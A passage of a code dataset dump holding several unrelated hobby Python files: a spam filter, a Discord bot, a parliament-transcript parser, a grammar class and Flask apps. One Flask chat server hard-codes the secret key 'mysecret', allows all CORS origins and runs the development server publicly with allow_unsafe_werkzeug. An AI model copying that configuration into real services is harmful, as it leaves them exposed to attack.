sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.pipeline import Pipeline\nfrom nltk.corpus import stopwords\nimport pandas as pd\n\n\ndef process_text(text):\n nopunc = [char for char in text if char not in string.punctuation]\n nopunc = ''.join(nopunc)\n\n clean_words = [word for word in nopunc.split()\n if word.lower() not in stopwords.words('english')]\n return clean_words\n\n\npath_csv = 'spam.csv'\nmsgs = pd.read_csv(path_csv, encoding='latin-1')\nmsgs.drop(['Unnamed: 2', 'Unnamed: 3', 'Unnamed: 4'], axis=1, inplace=True)\nmsgs = msgs.rename(columns={'v1': 'class', 'v2': 'text'})\n\nmsg_train, msg_test, class_train, class_test = train_test_split(\n msgs['text'], msgs['class'], test_size=0.01)\n\npipeline = Pipeline([\n ('bow', CountVectorizer(analyzer=process_text)),\n ('classifier', MultinomialNB())\n])\n\npipeline.fit(msg_train, class_train)\ntest_i = msg_test.first_valid_index()\nprediction = pipeline.predict([msg_test[test_i]])[0]\nprint(f'Message:\\n{msg_test[test_i]}')\nprint(f'Class: {class_test[test_i]}')\nprint(f'{\"-\"*50}\\nPrediction: {prediction}')\n# predictions = pipeline.predict(msg_test)\n# print(classification_report(class_test, predictions))\n\n","repo_name":"YunusovSamat/naive_bayes_spam_filter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30786715375","text":"from flask import Flask\nfrom flask_cors import CORS\nfrom flask_socketio import SocketIO, send\nfrom old_school_retrieval import get_answer_stream, search_items, get_openai_summary\n\nprint(\"starting server daddy\")\n\napp = Flask(__name__)\nCORS(app) # this would enable CORS for all routes\napp.config['SECRET_KEY'] = 'mysecret'\nsocketio = SocketIO(app, cors_allowed_origins=\"*\", async_mode='threading')\n\n\n@socketio.on('message')\ndef handle_message(input_text):\n # Each chunk is sent as soon as it is received\n print('received message: ' + input_text)\n for chunk in get_answer_stream(input_text):\n send(chunk)\n\n# api endpoint to get results of search_items\n\n\n@app.route('/search/')\ndef search(text_query):\n print(\"Searching for: \" + text_query)\n results = search_items(class_name=\"Corrected_Milken_Institute_data\", variables=[\n \"url\", \"page_text\"], text_query=text_query, k=3)\n\n for result in results:\n result[\"summary\"] = get_openai_summary(result[\"page_text\"], text_query)\n # remove the page_text from the result\n del result[\"page_text\"]\n\n print(\"Search results with summaries: \\n\", results)\n\n # convert results to json and return\n return {\"results\": results}\n\n\nif __name__ == '__main__':\n socketio.run(app, host=\"0.0.0.0\", port=8002, allow_unsafe_werkzeug=True)\n","repo_name":"GuralTOO/milken_chat_server","sub_path":"milken_inst_app.py","file_name":"milken_inst_app.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6480919095","text":"import discord\nimport asyncio\nimport mysql.connector\nimport datetime\nimport os\n\nfrom brainbot import guildList\nfrom discord.ext import commands, tasks\nfrom discord.commands import slash_command\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.service import Service\nfrom webdriver_manager.chrome import ChromeDriverManager\n\ndef getFlavours():\n options = webdriver.ChromeOptions()\n options.add_argument('headless')\n options.add_argument('log-level=3')\n driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=options)\n driver.get(\"https://earnesticecream.com/locations/fraser-st/\")\n elem = driver.find_element(by=By.ID, value=\"id_first\")\n return elem.text.split(\"\\n\")\ndef getIcecreamChannel(guild_id):\n mydb = mysql.connector.connect(\n host = os.environ.get('SQL_HOST'),\n user = os.environ.get('SQL_USER'),\n password = os.environ.get('SQL_PASS')\n )\n cursor = mydb.cursor()\n cursor.execute(\"USE brainbot\")\n cursor.execute(f\"\"\"SELECT icecream_channel_id FROM server WHERE id = %s;\"\"\", (guild_id,))\n row = cursor.fetchone()[0]\n mydb.close()\n return row\n\nclass Earnest(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.reminders.start()\n\n def cog_unload(self):\n self.reminders.cancel()\n @slash_command(name='flavour', description='gets the current updated flavour list for Earnest Ice Cream Fraser location', guild_ids=[913881236441821324])\n async def flavours(self, ctx):\n await ctx.defer()\n flavours = getFlavours()\n regular=discord.Embed(title=\"Earnest Ice Cream\", description=\"Regular Flavours\", color=0xFF5733)\n vegan=discord.Embed(title=\"\", description=\"Vegan Flavours\", color=0x00FF00)\n for i in flavours:\n if(\"Vegan\" in i):\n vegan.add_field(name=f\":icecream: {i}\", value=\"\", inline=False)\n else:\n regular.add_field(name=f\":ice_cream: {i}\", value=\"\", inline=True)\n current = datetime.datetime.now()\n vegan.set_footer(text=f\"Updated at: {current}\")\n await ctx.respond(embeds=[regular, vegan])\n @tasks.loop(time=datetime.time(hour=22, minute=30, second=0, tzinfo=datetime.timezone.utc))\n async def reminders(self):\n # await ctx.defer()\n flavours = getFlavours()\n regular=discord.Embed(title=\"Earnest Ice Cream\", description=\"Regular Flavours\", color=0xFF5733)\n vegan=discord.Embed(title=\"\", description=\"Vegan Flavours\", color=0x00FF00)\n for i in flavours:\n if(\"Vegan\" in i):\n vegan.add_field(name=f\":icecream: {i}\", value=\"\", inline=False)\n else:\n regular.add_field(name=f\":ice_cream: {i}\", value=\"\", inline=True)\n current = datetime.datetime.now()\n vegan.set_footer(text=f\"Updated at: {current}\")\n # get ice cream channel\n channel = self.bot.get_channel(getIcecreamChannel(913881236441821324))\n await channel.send(embeds=[regular, vegan])\n\n @reminders.before_loop\n async def before_reminder(self):\n print(f'Starting up Earnest Ice Cream reminders...')\n await self.bot.wait_until_ready()\ndef setup(bot):\n bot.add_cog(Earnest(bot))","repo_name":"Pyrhex/BrainBot","sub_path":"cogs/earnest.py","file_name":"earnest.py","file_ext":"py","file_size_in_byte":3347,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"17564999448","text":"from matplotlib import pyplot as plt\n\ntools = ['Metasploit','Nessus','Nmap','SqlMap','JohnTheRipper']\n\npopularity = [92,100,82,80,90]\n\nplt.bar(tools,popularity,color ='green')\n\nplt.title('The Top Hacking Tools')\n\nplt.xlabel('Tools')\n\nplt.ylabel('Popularity')\n\nplt.show()","repo_name":"Shovit23/mini_projects","sub_path":"Graph.py","file_name":"Graph.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73525183876","text":"#!/usr/bin/env python3\n\nfrom logging import debug, info, warning, basicConfig\nbasicConfig(level=\"INFO\", format='%(asctime)s %(message)s')\n\nimport argparse\nfrom lxml.html import soupparser\nfrom bs4 import UnicodeDammit\nimport regex as re\nimport os\nimport sys\nimport csv\nfrom trmorpy import TrMorph\nfrom trmorpy.utils import tr_capitalize\nfrom pmdata import PMData\n\nfrom patterns import *\n\nclass Session:\n __slots__ = ('num', 'startdate', 'enddate', 'starttime','endtime',\n 'sittings', 'term', 'nsittings', 'filename')\n def __init__(self):\n self.startdate = None\n self.enddate = None\n self.starttime = None\n self.endtime = None\n self.num = None\n self.nsittings = 0\n self.sittings = []\n\n def new_sitting(self):\n sitt = Sitting()\n self.sittings.append(sitt)\n self.nsittings += 1\n return sitt \n\n def write(self, filename=None):\n if filename is None:\n outf = sys.stdout\n else:\n outf = open(filename, \"wt\")\n print(\"# session: \", end=\"\", file=outf)\n print(\", \".join(\n (\"{}={}\".format(x, str(getattr(self,x))) \n for x in self.__slots__\n if x != 'sittings')),\n file=outf)\n for i, sitt in enumerate(self.sittings):\n print(\"## sitting: \", end=\"\", file=outf)\n print(\", \".join(\n (\"{}={}\".format(x, str(getattr(sitt,x))) \n for x in sitt.__slots__\n if x != 'par')),\n file=outf)\n for par in sitt.par:\n print(\"{}\\t{}\\t{}\\t{}\\t{}\".format(i+1, *par),\n file=outf)\n\n def write_conllu(self, filename=None, prefix='tbmm', pmdata=None):\n trm = TrMorph()\n if filename is None:\n outf = sys.stdout\n else:\n outf = open(filename, \"wt\")\n print(\"# new session = \", end=\"\", file=outf)\n self.nsittings = len(self.sittings)\n print(\", \".join(\n (\"{}:{}\".format(x, str(getattr(self,x))) \n for x in self.__slots__\n if x != 'sittings')),\n file=outf)\n idx = self.filename.find('/tutanak/donem')\n url = 'https://www.tbmm.gov.tr/' + self.filename[idx:]\n print(\"# source url = {}\".format(url), file=outf)\n for i, sitt in enumerate(self.sittings):\n print(\"# new sitting = \", end=\"\", file=outf)\n print(\", \".join(\n (\"{}:{}\".format(x, str(getattr(sitt,x))) \n for x in sitt.__slots__\n if x != 'par')),\n file=outf)\n for j, par in enumerate(sitt.par):\n sentences, analyses = trm.tokenize(par[3], \n return_spaces=True, return_analyses=True)\n parid = \"{}-{}s{:02d}p{:03d}\".format(\n prefix, self.startdate, i + 1, j + 1)\n print(\"# newpar = \", parid, file=outf)\n for k, sent in enumerate(sentences):\n spk_name, spk_type, spk_region, txt = par\n t = int(self.term)\n if pmdata:\n pm = pmdata.get_pm(name=spk_name, term=t,\n region=spk_region)\n if pm:\n pm_id = pm['id']\n pm_sex = pm['sex']\n if t in pm['term']:\n termi = pm['term'].index(t)\n pm_party = pm['party'][termi]\n pm_region = pm['region'][termi]\n print(\"# pm_party = {}\".format(pm_party),\n file=outf)\n if spk_type != 'chair':\n spk_type = 'regular'\n if spk_region is None:\n spk_region = pm_region\n print(\"# pm_id = {}\".format(pm_id),\n file=outf)\n print(\"# pm_gender = {}\".format(pm_sex),\n file=outf)\n print(\"# speaker = \", spk_name, file=outf)\n print(\"# speaker_type = \", spk_type, file=outf)\n print(\"# speaker_region = \", spk_region, file=outf)\n print(\"# text = \", \"\".join(sent), file=outf)\n print(\"# sent_id = {}-{:06d}\".format(\n parid, 10 * (k + 1)), file=outf)\n if sent[0] in {'(', '['} and sent[-1] in {')', ']'}:\n print(\"# transcriber_comment = true\",\n file=outf)\n\n senta = trm.disambiguate(\n [a for a in analyses[k] if a[0] != '_⟨X⟩'])\n aidx = 0\n tokid = 0\n for itok, tok in enumerate(sent):\n if tok == ' ': continue\n misc = '_'\n if itok < (len(sent) - 1) and sent[itok + 1] != ' ':\n misc = 'SpaceAfter=No'\n a = senta[aidx]\n uda = trm.ud_analysis(tok, a)\n if len(uda) > 1:\n print(\"{}-{}\\t{}\\t_\\t_\\t_\\t_\\t_\\t_\\t_\\t{}\".format(\n tokid + 1, tokid + len(uda), tok, misc),\n file=outf)\n misc = \"_\"\n for form, lemma, pos, infl \\\n in uda:\n tokid += 1\n head, dep = 1, 'dep'\n if pos == 'PUNCT': dep = 'punct'\n if tokid == 1:\n head, dep = 0, 'root'\n feat = \"|\".join(sorted(infl))\n if len(feat) == 0: feat = \"_\"\n print(\"{}\\t{}\\t{}\\t{}\\t_\\t{}\\t{}\\t{}\\t_\\t{}\".format(\n tokid, form, lemma, pos,\n feat, head, dep, misc),\n file=outf)\n aidx += 1\n print(\"\", file=outf)\n\nclass Sitting:\n __slots__ = ('startdate', 'enddate', 'starttime','endtime', \n 'chair', 'scribes', 'par')\n def __init__(self):\n self.startdate = None\n self.enddate = None\n self.starttime = None\n self.endtime = None\n self.chair = None\n self.scribes = None\n self.par = []\n def __str__(self):\n return ','.join((\"{}={}\".format(x, str(getattr(self, x)))\n for x in self.__slots__ if getattr(self, x)))\n def __repr__(self):\n return str(self)\n\nmonth2num = {k:i+1 for i,k in\n enumerate(('ocak', 'şubat', 'mart', 'nisan', 'mayıs', 'haziran', \n 'temmuz', 'ağustos', 'eylül', 'ekim', 'kasım', 'aralık'))\n}\n\ndef to_isodate(m):\n year = int(m['year'])\n day = int(m['day'])\n month = month2num[m['month'].lower()]\n return \"{:04}-{:02}-{:02}\".format(year, month, day)\n\n# Sections:\n# 'head' contians the session information and contents\n# 'sitth' contians the header of the 'sitting'\n# 'sitt' actual data in a sitting\n#\nsect_re = {\n 'head': re.compile(\"|\".join(\n (sitting_p,date_p,sess_p,contents_p,headmisc_p,contentsX_p))),\n 'sitth': re.compile(\"|\".join(\n (begin_p,\n date_p,chair_p,\n scribe_p,\n sithend_p,\n sitstart_p,\n sithignore_p))),\n 'sitt': re.compile(\"|\".join(\n (contents_p,\n newspk_p,\n sitting_p,\n end_p,\n paragr_p,\n sitting_p))), # order is important\n}\n\nchfilter = str.maketrans({\"\\n\": \" \", \n \"\\r\": None,\n \"\\u2000\": \" \",\n \"\\u2001\": \" \",\n \"\\u2002\": \" \",\n \"\\u2003\": \" \",\n \"\\u2004\": \" \",\n \"\\u2005\": \" \",\n \"\\u2006\": \" \",\n \"\\u2007\": \" \",\n \"\\u2008\": \" \",\n \"\\u2009\": \" \",\n \"\\u200A\": \" \",\n \"\\u200B\": None,\n \"\\u202F\": \" \",\n \"\\u205F\": \" \",\n \"\\u3000\": \" \",\n \"\\u1680\": \" \",\n \"\\u00A0\": \" \",\n \"\\u00AD\": None,\n \"\\uFEFF\": None})\n\ndef normalize_speaker(spk):\n names = spk.strip().split()\n for i, n in enumerate(names):\n names[i] = tr_capitalize(n.strip())\n return ' '.join(names)\n\nfname_re = re.compile(r'.*/tutanak/donem(?P[0-9]+)/.*')\ndef read_html(filename, pmdata=None, debug=None, strict=True):\n os.makedirs('debug', exist_ok=True)\n spkf = open('debug/speakers', 'ta+')\n spkif = open('debug/speakers-intro', 'ta+')\n spkpf = open('debug/speakers-par', 'ta+')\n sess = Session()\n sess.filename = filename\n with open(filename, 'rb') as f:\n content = f.read()\n m = fname_re.match(filename)\n if m:\n sess.term = m.group('term')\n else:\n sess.term = '0'\n html = soupparser.fromstring(content)\n sect = 'head'\n sitt = None\n for p in html.findall('.//p'):\n # skip content inside tables\n skip = False\n for ancestor in p.iterancestors():\n if ancestor.tag == 'table':\n skip = True\n break\n if skip: continue\n ptext = p.text_content().strip().translate(chfilter)\n if not ptext: continue\n m = sect_re[sect].match(ptext)\n if debug:\n print('SECT: {}'.format(sect), 'PAR TEXT:', ptext)\n if m:\n if debug:\n print('MATCH ({}):'.format(sect), ptext, m.groupdict())\n matches = m.groupdict()\n spkregion = None\n if matches.get('spk'):\n sect = 'sitt'\n spk, text = matches['spk'], matches['text']\n if spk == 'BAŞKAN' or spk == 'TBMM BAŞKAN VEKİLİ':\n spk = sitt.chair\n spktype = 'chair'\n spkregion = None\n elif matches.get('spkintro'):\n sect = 'sitt'\n if 'BAKANI' in matches['spkintro']:\n spktype = 'minister'\n spkregion = None\n elif 'CUMHURBAŞKANI YARDIMCISI' in matches['spkintro']:\n spktype = 'vice president'\n spkregion = None\n elif 'CUMHURBAŞKANI' == matches['spkintro']:\n spktype = 'president'\n spkregion = None\n else:\n spktype = None\n spkregion = None\n spk = normalize_speaker(spk)\n # debugging stuff\n print(spk, file=spkf)\n os.makedirs('debug',exist_ok=True)\n if matches.get('spkintro'):\n print(matches['spkintro'], file=spkif)\n if matches.get('spkpar'):\n tmp = normalize_speaker(matches['spkpar'])\n if not tmp.startswith('Devam'):\n spkregion = tmp\n print(spkregion, file=spkpf)\n if pmdata is not None:\n pm = pmdata.get_pm(name=spk, term=int(sess.term))\n if pm:\n spktype = 'regular'\n else:\n spktype = None\n if spk == sitt.chair:\n spktype = 'chair'\n sitt.par.append((spk, spktype, spkregion, text))\n elif matches.get('text'):\n text = matches['text']\n if not ('.' in text or '?' in text \\\n or '…' in text or ',' in text\\\n or '!' in text)\\\n and len(text.split()) < 5:\n # most probably a listing included in the records\n spk = None\n spktype = None\n sitt.par.append((spk, spktype, spkregion, text))\n elif matches.get('sitting'):\n sect = 'sitth'\n sitt = sess.new_sitting()\n elif matches.get('chair'):\n sitt.chair = normalize_speaker(matches['chair'])\n elif matches.get('starttime'):\n sitt.starttime = matches['starttime']\n elif matches.get('sithend'):\n sect = 'sitt'\n elif matches.get('endtime'):\n sitt.endtime = matches['endtime']\n sect = 'head'\n elif matches.get('year'):\n sess.startdate=to_isodate(matches)\n elif matches.get('sessnum'):\n sess.num = matches['sessnum']\n elif matches.get('cnum1'):\n pass\n elif matches.get('cnum2'):\n pass\n elif matches.get('cnum3'):\n pass\n elif matches.get('contdscX'):\n pass\n elif matches.get('headmisc'):\n pass\n elif matches.get('scribe'):\n if sitt.scribes is None:\n sitt.scribes = matches['scribe'].strip()\n else:\n sitt.scribes += '/' + matches['scribe'].strip()\n elif matches.get('scribe1'):\n if sitt.scribes is None:\n sitt.scribes = matches['scribe1'].strip()\n else:\n sitt.scribes += '/' + matches['scribe1'].strip()\n elif matches.get('scribe2'):\n if sitt.scribes is None:\n sitt.scribes = matches['scribe2'].strip()\n else:\n sitt.scribes += '/' + matches['scribe2'].strip()\n elif matches.get('closed'):\n if debug: print('------closed----------')\n sect = 'sitt'\n else:\n if debug: print('---skip---', ptext, matches)\n# print('--', sect, '--', text)#, matches)\n else:\n print('---unparsed--- {}: __{}__'.format(sect, ptext),\n file=sys.stderr)\n if strict:\n return None\n if len(sess.sittings) == 0:\n return None\n if not sess.starttime:\n sess.starttime = sess.sittings[0].starttime\n if not sess.endtime:\n sess.endtime = sess.sittings[-1].endtime\n return sess\n\ndef create_conllu(inp):\n filename, pmdata = inp\n print('--->', filename, flush=True)\n s = read_html(filename, pmdata=pmdata, debug=args.debug)\n if s is not None:\n print(filename, s.startdate, len(s.sittings), flush=True)\n s.write_conllu(os.path.join('conllu', s.startdate + '.conllu'),\n pmdata=pmdata)\n else:\n print(filename,'FAILED', flush=True)\n\nif __name__ == \"__main__\":\n from multiprocessing import Pool\n ap = argparse.ArgumentParser()\n ap.add_argument('input', nargs=\"+\")\n ap.add_argument('--output', default='.')\n ap.add_argument('--nproc', '-j', default=4, type=int)\n ap.add_argument('--debug', '-d', action='store_true')\n ap.add_argument('--skip-from', '-s')\n ap.add_argument('--pm-list', '-m', default='pm.tsv')\n args = ap.parse_args()\n\n transcripts = args.input\n if args.skip_from:\n with open(args.skip_from, 'rt') as f:\n skip = set()\n for line in f:\n line = line.strip()\n if line.startswith('html/'):# \\\n# and not line.endswith('FAILED'):\n skip.add(line.split()[0])\n transcripts = [x for x in args.input if x not in skip]\n\n pmdata = PMData()\n os.makedirs('conllu',exist_ok=True)\n pool = Pool(processes=args.nproc)\n inp = [(x, pmdata) for x in transcripts]\n res = pool.map(create_conllu, inp)\n","repo_name":"coltekin/ParlaMint-TR","sub_path":"tbmmhtml.py","file_name":"tbmmhtml.py","file_ext":"py","file_size_in_byte":16323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"32844151194","text":"'''\nTRABALHO FINAL\nLINGUAGENS FORMAIS E AUTOMATOS - 2020\nProf. Lucio Duarte\n\nAlunos: Bruno Zimmermann, Jordi Pujol e Victoria Duarte\n'''\n\nimport string\n\nfrom typing import NamedTuple, Optional, List, Dict\nfrom automaton import Automaton\n\nclass ProdOutput(NamedTuple):\n '''\n A saída de uma produção. Sempre no format aA. A exceção é a palavra vazia.\n\n O campo 'terminal' é o símbolo terminal da saída. Corresponde a \"a\" no\n formato acima. Vazio se a saída é a palavra vazia.\n\n O campo 'variable' é a variável da saída. Corresponde a \"A\" no formato\n acima. Vazio se a saída é a palavra vazia.\n '''\n \n terminal: str\n variable: str\n \n def __str__(self) -> str:\n '''\n Converte essa saída para representação textual.\n '''\n \n # Lida com a palavra vazia.\n if self.terminal == '' and self.variable == '':\n return 'ε'\n\n # Outros casos.\n return '{}{}'.format(self.terminal, self.variable)\n\n# Saída final de uma produção.\nEMPTY_OUTPUT: ProdOutput = ProdOutput(terminal='', variable='')\n\nclass Production(NamedTuple):\n '''\n Uma possível produção feita pela gramática. No format \"A -> aB\" ou \"A -> ε\".\n\n O campo 'input' corresponde à entrada da produção (no exemplo acima, \"A\").\n\n O campo 'output' corresponde à saída da produção (no exemplo acima, \"aB\" ou\n \"ε\").\n '''\n\n input: str\n output: ProdOutput\n\n def __str__(self) -> str:\n '''\n Representação textual da produção.\n '''\n return '{} -> {}'.format(self.input, self.output)\n\n# Tipo das saídas das produções. Sempre na forma aA, ou ε na última transição.\nclass Derivation(NamedTuple):\n '''\n Uma derivação de uma palavra. A derivação é o caminho que a gramática faz\n para produzir uma palavra.\n\n O campo 'steps' representa os passos, em termos de produções, para chegar\n na palavra final.\n '''\n\n steps: List[Production]\n\n def __str__(self) -> str:\n '''\n Converte uma derivação em texto.\n '''\n\n # Na palavra em si ainda não tem nada.\n word = ''\n # Texto começa com o símbolo inicial.\n text = self.steps[0].input\n\n # Para todos os passos da derivação, faça:\n for step in self.steps:\n # Coloca o terminal na palavra.\n word = '{}{}'.format(word, step.output.terminal)\n # Adiciona o passo atual na saída junto com a palavra atual.\n text = '{} => {}{}'.format(text, word, step.output.variable)\n\n # Retornar a string construída.\n return text\n\n\nclass Grammar:\n '''\n Uma gramática regular à direita.\n\n O campo 'terminals' é uma lista de símbolos terminais, o alfabeto.\n\n O campo 'productions' é um dicionário que mapeia variáveis para possíveis\n saídas em tal que sejam parte de uma produção. Sempre no formato:\n \"A -> aB\", com exceção do caso \"A -> ε\".\n\n O campo 'initial' define a variável inicial da gramática.\n '''\n\n terminals: List[str]\n productions: Dict[str, List[ProdOutput]]\n initial: str\n\n def __init__(self, automaton: Automaton):\n '''\n Inicializa a gramática a partir de um autômato finit determinístico.\n '''\n\n # Inicializa produções como vazias.\n self.productions = {}\n\n # Os dois alfabetos são o mesmo.\n self.terminals = automaton.alphabet\n\n # Inicializa variáveis e retorna o mapeamento estado -> variável.\n state_to_variable = self.init_variables(automaton)\n # Inicializa o símbolo inicial para corresponder ao estado inicial.\n self.initial = state_to_variable[automaton.initial]\n # Gera as produções.\n self.make_productions(automaton, state_to_variable)\n # Marca os estados finais.\n self.mark_finals(automaton, state_to_variable)\n\n def init_variables(self, automaton: Automaton) -> Dict[str, str]:\n '''\n Inicializa as variáveis da gramática a partir dos estados de um\n autômato. Returna o mapeamento de estados para variáveis.\n '''\n\n # Lista de letras disponíveis.\n variable_names = \"ABCDEFGHIJKLMNOPQRTUVWXYZ\"\n # Primeira letra disponível.\n cursor = 0\n # Iniciaiza o mapeamento, o dicionário.\n state_to_variable: Dict[str, str] = { }\n\n # Para cada estado do autômato, faça:\n for state in automaton.states:\n # Índice da primeira letra disponível.\n current = len(state_to_variable)\n\n # Esse estado é o inicial?\n if state == automaton.initial:\n # Se sim, vamos usar a convenção S.\n variable = 'S'\n # Existem letras disponíves?\n elif cursor < len(variable_names):\n # Se sim, use.\n variable = variable_names[cursor] \n # A letra atual não está mais disponível.\n cursor += 1\n else:\n # Senão, paciência, vamos usar o nome do estado.\n variable = state\n\n # As produções para esta variável começam vazias.\n self.productions[variable] = []\n # Mapeia o estado para a variável.\n state_to_variable[state] = variable\n\n # Retorna o mapeamento estado -> variável.\n return state_to_variable\n\n def make_productions(\n self,\n automaton: Automaton,\n state_to_variable: Dict[str, str]) -> None:\n '''\n Gera as produções da gramática a partir da função programa de um\n autômato e o mapeamento de estados pra variáveis.\n '''\n\n # Para cada transição:\n for trans_input, new_state in automaton.prog_function.items():\n # Variável correspondenete ao estado de entrada.\n input_variable = state_to_variable[trans_input.state]\n # Variável correspondenete ao estado de saída.\n output_variable = state_to_variable[new_state]\n # Instancia a saída da produção.\n output = ProdOutput(\n terminal=trans_input.symbol,\n variable=output_variable)\n # Adiciona a saída à lista de saídas possíveis daquela variável.\n self.productions[input_variable].append(output)\n\n def mark_finals(\n self,\n automaton: Automaton,\n state_to_variable: Dict[str, str]) -> None:\n '''\n Marca as variáveis da gramática como \"finais\" quando correspondem a\n algum estado final de um autômato. Marcar como final significa fazer\n com que a variável possa ser substituída pela palavra vazia.\n '''\n\n # Para cada estado final.\n for state in automaton.finals:\n variable = state_to_variable[state]\n # Adicione a saída de produção que resulta na palavra vazia dada\n # a variável de entrada.\n self.productions[variable].append(EMPTY_OUTPUT)\n\n def __str__(self) -> str:\n '''\n Converte a gramática para texto. Método mágico do Python.\n '''\n \n # Colocando variáveis e terminains em duas string, com os elementos \n # separados por vírgulas.\n variables = ','.join(self.productions.keys())\n terminals = ','.join(self.terminals)\n\n # Começamos com o cabeçalho da definição.\n definition = 'GRAMMAR=({{{}}},{{{}}},Prod,{})\\nProd\\n'\n text = definition.format(variables, terminals, self.initial)\n\n # Para cada variável de entrada de uma produção, e lista de saídas de\n # uma produção para aquela variável, faça:\n for inputVariable, outputs in self.productions.items():\n # Só usar essa variável se tiver uma produção.\n if len(outputs) > 0:\n # Converte cada saída para string.\n outputs_str = map(str, outputs)\n # Junta todas saídas usando ' | '.\n joined = ' | '.join(outputs_str)\n # Coloca as produções daquela variável em uma linha.\n text = '{}{} -> {}\\n'.format(text, inputVariable, joined)\n\n # Retorna a string produzida.\n return text \n\n def find_production(\n self,\n current_variable: str,\n symbol: Optional[str]) -> Optional[Production]:\n '''\n Encontra uma produção que contenha o dado símbolo 'symbol', e que\n substitua a dada variável 'current_variable'.\n\n Caso a produção seja encontrada, ela é retornada. Caso não seja\n encontrada uma produção, None é retornado.\n '''\n\n # Para cada saída de uma produção com a dada variável de entrada:\n for output in self.productions[current_variable]:\n # Se o terminal desta saída for o nosso símbolo, encontramos.\n if output.terminal == symbol:\n return Production(input=current_variable, output=output)\n # Não há produção para a variável atual e o símbolo necessário.\n return None\n\n def derive(self, word: str) -> Optional[Derivation]:\n '''\n Verifica se uma palavra segue a gramática, e, portanto, se a palavra\n é parte da linguagem gerada pela gramática.\n '''\n\n # Inicializa a lista de passos da derivação como contendo somente o\n # primeiro passo.\n productions = []\n\n # A primeira variável é o símbolo inicial.\n current_variable = self.initial\n\n for symbol in word:\n # Tenta encontrar uma produção.\n production = self.find_production(current_variable, symbol)\n if production is None:\n # Se não achou, a palavra não faz parte da linguagem.\n return None\n # Adiciona a produção encontrada à lista de passos.\n productions.append(production)\n # Nova variável vem da saída da produção.\n current_variable = production.output.variable\n\n # Por último, precisamos encontrar uma produção para a variável final\n # que resulte na palavra vazia.\n production = self.find_production(current_variable, '')\n # Se não achar, a linguagem não contém a palavra.\n if production is None:\n return None\n\n # Se achou, tudo certo, retorne a derivação.\n productions.append(production)\n return Derivation(steps=productions)\n","repo_name":"vickyad/formais-trabalho-final","sub_path":"grammar.py","file_name":"grammar.py","file_ext":"py","file_size_in_byte":10553,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26149176896","text":"import numpy as np\nimport pandas as pd\n\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\n\nimport datetime as dt\nfrom datetime import datetime\n\nfrom flask import Flask, jsonify\n\n#################################################\n# Helper Functions\n#################################################\n\n# This function called `calc_temps` will accept start date and end date in the format '%Y-%m-%d' \n# and return the minimum, average, and maximum temperatures for that range of dates\ndef calc_temps(session, start_date, end_date=None):\n \"\"\"TMIN, TAVG, and TMAX for a list of dates.\n \n Args:\n session: The session link from Python to the DB\n start_date (string): A date string in the format %Y-%m-%d\n end_date (string): A date string in the format %Y-%m-%d\n \n Returns:\n TMIN, TAVE, and TMAX\n \"\"\"\n\n if end_date is None:\n return session.query(func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)).\\\n filter(Measurement.date >= start_date) \n\n else:\n return session.query(func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)).\\\n filter(Measurement.date >= start_date).filter(Measurement.date <= end_date).all()\n\n#################################################\n# Database Setup\n#################################################\nengine = create_engine(\"sqlite:///Resources/hawaii.sqlite\")\n\n# reflect an existing database into a new model\nBase = automap_base()\n# reflect the tables\nBase.prepare(engine, reflect=True)\n\n# Save reference to the table\nMeasurement = Base.classes.measurement\nStation = Base.classes.station\n\n#################################################\n# Flask Setup\n#################################################\napp = Flask(__name__)\n\n\n#################################################\n# Flask Routes\n#################################################\n\n@app.route(\"/\")\ndef welcome():\n \"\"\"List all available api routes.\"\"\"\n return (\n f\"Available Routes:
\"\n f\"/api/v1.0/precipitation - Get precipitation data.
\"\n f\"/api/v1.0/stations - Get a list of station data.
\"\n f\"/api/v1.0/tobs - Get temperature data from most active station.
\"\n f\"/api/v1.0/[start] - Get temperature data after a specified date. FORMAT %Y-%m-%d
\"\n f\"/api/v1.0/[start]/[end] - Get temperature data in a date range. FORMAT %Y-%m-%d
\"\n )\n\n\n@app.route(\"/api/v1.0/precipitation\")\ndef precipitation():\n \"\"\"Return all precipitation points in the dataset.\"\"\"\n\n session = Session(engine)\n\n result = session.query(Measurement.date).order_by(Measurement.date.desc()).first()\n\n dateStr = result[0]\n last_date = datetime.strptime(dateStr,'%Y-%m-%d')\n\n year_ago = last_date - dt.timedelta(days=365)\n year_ago_str = datetime.strftime(year_ago,'%Y-%m-%d')\n\n # Perform a query to retrieve the data and precipitation scores\n query = (session\n .query(Measurement.date, Measurement.prcp)\n .filter(Measurement.date > year_ago_str))\n\n session.close()\n\n all_points = {}\n \n for date,prcp in query.all():\n all_points[date] = prcp\n\n return jsonify(all_points)\n\n\n@app.route(\"/api/v1.0/stations\")\ndef stations():\n \"\"\"Return a list of stations.\"\"\"\n\n session = Session(engine)\n\n results = session.query(Station.station,Station.name,Station.latitude,Station.longitude,Station.elevation).all()\n session.close()\n\n # Create a dictionary from the row data and append to a list of all_passengers\n all_stations = []\n for station, name, lat, lng, elv in results:\n station_dict = {}\n station_dict['station'] = station\n station_dict['name'] = name\n station_dict['latitude'] = lat\n station_dict['longitude'] = lng\n station_dict['elevation'] = elv\n all_stations.append(station_dict)\n\n return 